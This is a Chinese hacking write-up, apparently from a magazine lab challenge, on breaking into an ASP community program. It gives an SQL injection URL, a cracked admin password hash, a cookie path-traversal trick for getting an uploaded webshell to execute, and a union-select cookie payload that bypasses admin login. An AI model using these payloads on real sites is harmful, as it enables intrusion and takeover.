ASP入侵②中文DIGG社区开源程序入侵过程

来源:互联网 发布:三国志13武将数据图鉴 编辑:程序博客网 时间:2024/05/22 07:35

黑客防线的实验室题,最先发表在黑防上

(由于这次还是honghack神雕大侠大哥第一个进去,我就不写视频了,下次一定第一个进去,前提是别让那些蛋疼的D站了)

这次入侵特郁闷,不知道谁闲的蛋疼,网站老打不开,影响我们大家的心情
最开始我一个很傻比的思路吧,想注入拿到密码,然后进入后台得到shell,

1.下载源码分析道article.asp页面的Tags_Name变量未做任何限制直接逃入导致sql注入
http://zst.6600.org/article.asp?Tags_Name=测试       注入点  表是通过源码知道的Wo_Users  UserName    UserPass

注入得到

admin|8622A315FF489C84DA4E37C0CFABD2EE|

到www.cmd5.com 去破解 得到密码:951123

正当我高兴的时候却发现找不到后台后来发现幻泉很YD,后台地址是admin524 我说怎么就扫不到呢,还以为删除了

然后只能找上传,或者可以写入文件的地方,access没啥办法,数据库也被修改了 进去才知道是testhacker.mdb

当我分析到upload_image.asp这个文件的时候,我郁闷了。原来根本不用用户密码,就可以直接绕过
看他的验证代码

if Request.Cookies("UserID") = "" then
Response.End()
end if

够简单,直接判断cookie是否为空
程序员挺懒的,最起码也的换成Session啊 后来想一想程序员其实也没啥错,cookie提高用户感受,可是应该带入数据库查询一次,限制位数字,提高安全性

所以更不不用去猜什么用户密码,我秀逗了。下次先分析这种上传文件,后台验证文件才是最正确的代码分析思路哈哈


http://zst.6600.org/upload/upload_image.asp 利用地址

/*其他代码不显示了这2条关键的
1. loadsrc="/UploadFile/"&Request.Cookies("UserID")&"/"
2. Session("uppath")=loadsrc

他的upppath是loadsrc的值加上cookie的值然后形成的路径,所以cookie构造一个就可以了比如UserID=a.asp 或者  UserID=12.asa 都可以
结果每次上传还是不行,后来发现是自己的错,因为我用cookie浏览器修改cookie的,但没有刷新,导致session没有更新,所以浪费了很多时间
本以为上传webshell成功了http://zst.6600.org/UploadFile/a.asp/101252315540448.gif ; 可是提示下载,猜想UploadFile肯定不解析asp,
所以又更换了下cookie的值  UserID=../a.asp         让他跳上一个目录,这样不就可以解析了吗,试试,
果然成功  http://zst.6600.org/UploadFile/../a.asp/1012523155432332.gif ;  也就是这http://zst.6600.org/a.asp/1012523155432332.gif
这样就可以解析了

upload文件夹中 upfile_image.asp、mutiUpfile_image.asp这几个写法都差不多。也就这个漏洞


关于后台就简单介绍下,因为后台都找不到,后台的漏洞也没办法利用
这是后台文件的验证模式。看看是否有利可图
if RequestCookies("Userpass")="" or RequestCookies("Userpass")<>session("pass") then Response.Write ("<script>top.location.href='login.asp';</script>")
if UserRoleID <> 1 then Alert("您没有权限进入后台")



在conn.asp中一段代码如下

'''''''''''''''''''''''''''''''''''''''''''
if IsNumeric(RequestCookies("UserID")) then
sql="select * from [Wo_Users] where UserID="&RequestCookies("UserID")&""           '看到没有直接带入查询,cookie欺骗哦。后面那2个双引号真多余,而且应该限制为数字型,加上用户密码验证
Set Rs=Conn.Execute(sql)
if Rs.eof then
  CleanCookies()
elseif RequestCookies("Userpass") <> Rs("Userpass") then    '还有这里
  CleanCookies()
else
  CookieUserID=Rs("UserID")
  CookieUserName=Rs("UserName")
  CookieEmail=Rs("UserEmail")
  NewMessage=Rs("NewMessage")
  UserRoleID=Rs("UserRoleID")                  ' ---------这里就是获取UserRoleID
  UserAccountStatus=Rs("UserAccountStatus")
  if UserRoleID=1 or UserRoleID=2 then BestRole=1
end if
Rs.Close
end if
'''''''''''''''''''''''''''''''''''''''''''
后台文件基本验证如下,判断密码是否为空,判断UserRoleID是否不为1  其实很容易绕过
使用新一代万能密码

UserID=-1 union select 1 as [Userpass] from Wo_Users
Userpass=1


带入sql语句就是select * from [Wo_Users] where UserID=-1 union select 1 as [Userpass] from Wo_Users
然后Rs("Userpass")自然也就等于1了,也就和RequestCookies("Userpass")相等了

然后直接访问想访问的页面就可以了。比如管理员添加页面



其实吧,这东西留着挺恐怖的http://zst.6600.org/Install.asp




总结:这次入侵遇到很多问题,比如黑防的免费空间被人给乱搞让我们大家不能够很好的学习研究,
对于那些人,与其浪费时间在这个上面不如完成提议,分享自己的经验来的有价值,更值得别人敬佩
然后就是自己的思路,总想着去找密码登陆后台,其实我们应该先分析上传和后台验证绕过,其实是最轻松的方法
比如默认的安全文件,数据库文件都应该是最先尝试的,一开始就找注入又浪费时间,又不一定有效,比如这个就是拿到密码不知道后台,只能登陆前台
还有很多注入啊,过滤不严谨啊就不想一一去找了。我看着这种代码挺痛苦的。。

 

原创粉丝点击